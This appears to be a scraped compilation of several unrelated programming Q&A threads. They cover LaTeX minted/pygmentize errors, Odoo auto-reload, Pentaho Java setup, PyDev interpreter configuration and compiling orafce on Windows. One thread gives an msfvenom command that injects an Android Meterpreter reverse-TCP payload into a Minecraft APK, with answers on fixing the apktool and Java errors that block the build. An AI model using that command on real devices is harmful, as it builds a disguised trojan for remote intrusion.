How to run minted package in TeXnicCenter using MiKTeX - objective-c

I am working with LaTeX on Vista using TeXnicCenter 2.0 Alpha 3 (build 1118) having installed MiKTeX 2.8. I want to use code highlighting for Objective-C and read here that the minted package is great.
I installed Python 2.7 and pygmentize as told in the minted documentation. I also set the compiler option -shell-escape in TeXnicCenter. The compiler finds the pygmentize script but the following error occurs.
File "C:\Python27\Scripts\pygmentize.exe", line 1 SyntaxError: Non-ASCII character '\x90' in file C:\Python27\Scripts\pygmentize.exe on line 1, but no encoding declared; see http://www.python.org/peps/pep-0263.html for details! LaTeX Error: File `Test.out.pyg' not found. Type X to quit or to proceed, or enter new name. (Default extension: out.pyg) Enter file name: ! Emergency stop.
I cannot figure out how to fix the problem. I tried saving the tex file as ANSI or UTF-8.
The only additions I made to the tex file are the package include
\usepackage{minted}
and this simple example from the minted documentation.
\mint{python}|import this|

The minted documentation is outdated: newer versions of Pygments apparently include a Windows executable pygmentize.exe (unfortunately, their Trac is currently offline so I can’t look up the relevant revision which changed that).
This means that the fix mentioned in the documentation should be redundant. Therefore, try the following steps:
Remove the pygmentize.cmd script entirely (best not delete it yet – just rename it). Try if minted now works.
If that doesn’s work, put the following into the pygmentize.cmd:
#echo off
set PYTHONPATH=C:\Python27
%PYTHONPATH%\Scripts\pygmentize.exe %*
i.e. don’t invoke the *.exe file via the Python interpreter.
Unfortunately, I can’t test this now since I don’t have Windows here. But one of the options should work.

Related

Malformed String Number Version 2.4.0 when msfvenom -x

Read all and carefully
Hi, I'm using Kali 2.0 and I love to tweak with it (Sorry for bad english but I'm italian). When I use this command:
msfvenom -x minecraft.apk -p android/meterpreter/reverse_tcp LHOST=IP_ADDRESS LPORT=4444 -o mc.apk
it gives me:
Using APK template: minecraft.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Malformed version number string 2.4.0
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I've searched for weeks on all the forums but, I didn't found the solution. I've reinstalled Kali, metasploit-framework, jdk, apktool. Nothing was happened. Any fix?
I have struggled and got the solution. It looks like the problem was with the apktool and also the java environment variables (but in your case it could be only one issue), i uninstalled the apktool & java's(jdk,jre), reinstalled, changed versions through terminal but nothing worked.
FIRST ISSUE (_JAVA_OPTIONS) :
To figure this out i read an issue on github https://github.com/iBotPeaches/Apktool/issues/2325
To temporarily fix it, run the following commands in the same terminal window where you are trying to use msfvenom:
_SILENT_JAVA_OPTIONS="$_JAVA_OPTIONS"
unset _JAVA_OPTIONS
alias='java "$_SILENT_JAVA_OPTIONS"'
To permanently fix it, place the above commands in /root/.bashrc(you have to check Show hidden files in View tab).
Now the above error message should go away, and if there is an issue with your apktool it will be displaying unable to rebuild apk with apktool. So, to figure this out read below:
SECOND ISSUE (Apktool)(unable to rebuild apk with apktool):
I have found that there is a missing file
of apktool located in usr/local/sbin. Delete apktool file from there if exists.
Download linux wrapper script https://raw.githubusercontent.com/iBotPeaches/Apktool/master/scripts/linux/apktool
Download latest apktool from https://bitbucket.org/iBotPeaches/apktool/downloads and rename it to apktool.jar
Now copy both the files (linux wrapper script & apktool.jar) to /user/local/bin
Type apktool in terminal and verify the version
P.S. For those who cant go with the steps for the second issue, go watch this fix https://youtu.be/vxs_fkUHnSw

What text editors does --dev reload with work

I'm following Odoo's documentation to use the --dev all parameter when I run odoo-bin, in order to have Python models get updated when I change the source code without me having to restart the server. According to the documentation, the reload flag (which is part of all) doesn't work with some text editors. I've been using Sublime Text, and that doesn't seem to work because my model changes don't take effect until I restart the server. Is there a good, commonly used text editor which does work with the reload parameter, or is there a list of text editors which work with it?
If you're running Odoo from the command line via a standard ./odoo-bin --dev reload command then you should not have any issues as long as you have the lib dependencies setup.
Make sure to monitor your log for errors. It requires the watchdog library to be installed via pip install watchdog. Take a look at (currently line 943) of the core files https://github.com/odoo/odoo/blob/10.0/odoo/service/server.py to see how dev reload works:
def start(preload=None, stop=False):
...
watcher = None
if 'reload' in config['dev_mode']:
if watchdog:
watcher = FSWatcher()
watcher.start()
else:
_logger.warning("'watchdog' module not installed. Code autoreload feature is disabled")
if 'werkzeug' in config['dev_mode']:
server.app = DebuggedApplication(server.app, evalex=True)
I am not completely sure, but after doing a quick search on the text editor that I have been primarily using (Atom developed by GitHub), I believe it may have what you're looking for.
Have fun with your future endeavors. I hope my answer helps.
Since odoo uses werkzeug server,you can just use the command line argument to start the server, and everything will be taken care by the server.
./openerp-server --auto-reload
this will restart the server whenever .py file is modified.

Installation of Pentaho-Data integration

After extracting the Pentaho zip file I downloaded. I set my class path to JDK 1.7.0. But, upon running the Spoon.bat file I keep getting the statement: "Unable to launch your Java Virtual Machine (JVM)." How do I resolve this problem ?
NB: I have configured JAVA_HOME, JRE_HOME as stated by similar previously answered questions.
Note that Pentaho7 requires java 8.
In any case, Set the PENTAHO_JAVA_HOME=dir, where dir is the directory that contains the /bin/java.exe executable.
Alternative:
The spoon.bat [resp spoon.sh] runs first the set-pentaho-env.bat to find a suitable java. Edit this file to know in which order it searches for it. So do like me, when nobody looks at you, edit this file manually, and set _PENTAHO_JAVA_HOME and _PENTAHO_JAVA manually.
To check: In a command line shell, cd to your PDI install directory and type spoon.bat. It writes something like start "Spoon" "**some\directory**\javaw.exe" more stuff. Check that you can type **some\directory**\javaw.exe -version in your shell.
If not: in the same directory, type set-pentaho-env.bat. It writes down the PENTAHO_JAVA and PENATHO_JAVA_HOME thAt spoon will use. Edit that file until %PENTAHO_JAVA%\java.exe -version and %PENTAHO_JAVA_HOME%\java.exe -version answers the appropriate version.
In my case (for PDI 9.2.x), installing an Oracle JDK 8 solved the issue (no need to set the Java home folder explicitly)

Cannot auto configure pydev in eclipse

I have installed PyDev successfully, I have python 3.4.0 installed successfully and the folder containing python.exe is in my path and I can run it from the command line.
However, when I go to window\preferences\pydev\interpreters\python interpreter and select 'quick auto-config' to configure it using normal python I get an error saying 'auto configurator could not find a valid interpreter... Note the system environment variables used for Jython are PATH and PYTHONHOME.'
Unless this is a bug in the text I am not selecting Jython (I get a different error if I select IronPython, btw, so this is not a generic error message).
The trace is as follows:
Errors getting info on discovered interpreter(s).
See error log for details.
java.lang.RuntimeException: java.io.IOException: Cannot run program "python": CreateProcess error=2, The system cannot find the file specified
As I say, python.exe is in my path.
You have to install the actual python package separately from here https://www.python.org/download
Close LiClipse/Eclipse => Download Python Here: https://www.python.org/download
=> reopen LiClipse => Auto Config for the interpreter Will WORK!
I found the answer, but I'll leave this up in case anyone else gets it. It's a pretty stupid auto config option if you ask me ;)
In the higher level window\preferences\pydev\interpreters\ preference you need to untick jython and ironpython.
No idea why given I selected the Python sub-preference specifically.

Installing Orafce.sql 3.0 in Windows 7

As mention in Orafce Install.orafunc:
..install Orafce functions in the database, either run the orafce.sql script using the pgAdmin SQL tool..
I tried running the orafce--3.0.sql in pgAdmin sql editor. This give me error
ERROR: could not access file "MODULE_PATHNAME": No such file or directory.
What do you mean by module path?
Installed program:
strawberry perl with DBD::Oracle
postgresql 9.3
pgAdmin III
Not fully installed:
ora2pg
I tried installing ora2pg...with a problem.
H:\PostgreSQL\ora2pg-12.1>perl makefile.pl
Unparsable version '' for prerequisite DBD::Oracle at makefile.pl line 553
Generating a dmake-style Makefile
Writing Makefile for Ora2Pg
Writing MYMETA.yml and MYMETA.json
Done...
H:\PostgreSQL\ora2pg-12.1>dmake && dmake install
"Installing default configuration file (ora2pg_dist.conf) to C:\ora2pg"
Appending installation info to C:\strawberry\perl\lib/perllocal.pod
dmake: Warning: -- Target [install] was made but the time stamp has not been up
dated.
Suggested Solution:
I downloaded a copy of orafce from okbob github
Unzip the file to folder D:/Postgresql/orafce-master
I copy only the following files
orafce--unpackaged--3.0.6.sql
orafce--3.0.6.sql
orafce.control
to folder C:\Program Files\PostgreSQL\9.3\share\extension
Then I try running this command in pgAdmin III sql tools.
CREATE EXTENSION orafce;
I received this Warning and Error.
[WARNING ] CREATE EXTENSION orafce
ERROR: syntax error in file "C:/Program Files/PostgreSQL/9.3/share/extension/orafce.control" line 1, near end of line
I checked orafce.control content. It has this config.
# intarray extension
comment = 'Functions and operators that emulate a subset of functions and packages from the Oracle RDBMS'
default_version = '3.0.6'
module_pathname = '$libdir/orafunc'
relocatable = false`
I can't pass to this wall. What seems the problem?
So, you are working with source raw files. You should to compile these files first - and later you can use it. It is relative simply on Unix like platforms, where C compiler is usually available, and pretty hard on MS Windows, where you have to install C compiler first.
I afraid so we lost pgFoundry archive, where was orafce precompiled and packed.
Almost all Linux distributions support orafce directly - and you can install it without compilation from repositories.
see http://wiki.postgresql.org/wiki/Building_and_Installing_PostgreSQL_Extension_Modules
$libdir is symbol, that is used for PostgreSQL extensions directory. It can be different for any platform - and it is replaced inside compilation stage by actual value. MODULE_PATHNAME has similar meaning. In compilation stage is replaced by valid actual path to library with compiled code.
I am sorry - we don't provide a compiled files - mainly due high risk for MS Windows. We have no forces, and tools to maintain all Win safely. In this moment, you can:
try to contact someone who use orafce for windows for backup of orafce installers
try to compile this extension by self (Microsoft Visual Studio Express edition is free and downloadable on internet).
other possibility is migrate database server to Linux - almost all database maintenance and usage is more simply and more robust there (due missing viruses, antiviruses and less resource requests). The Linux is primary platform for Oracle too.
some tutorials:
http://blog.2ndquadrant.com/compiling-postgresql-extensions-visual-studio-windows/
http://www.scribd.com/doc/40725510/Build-PostgreSQL-C-Functions-on-Windows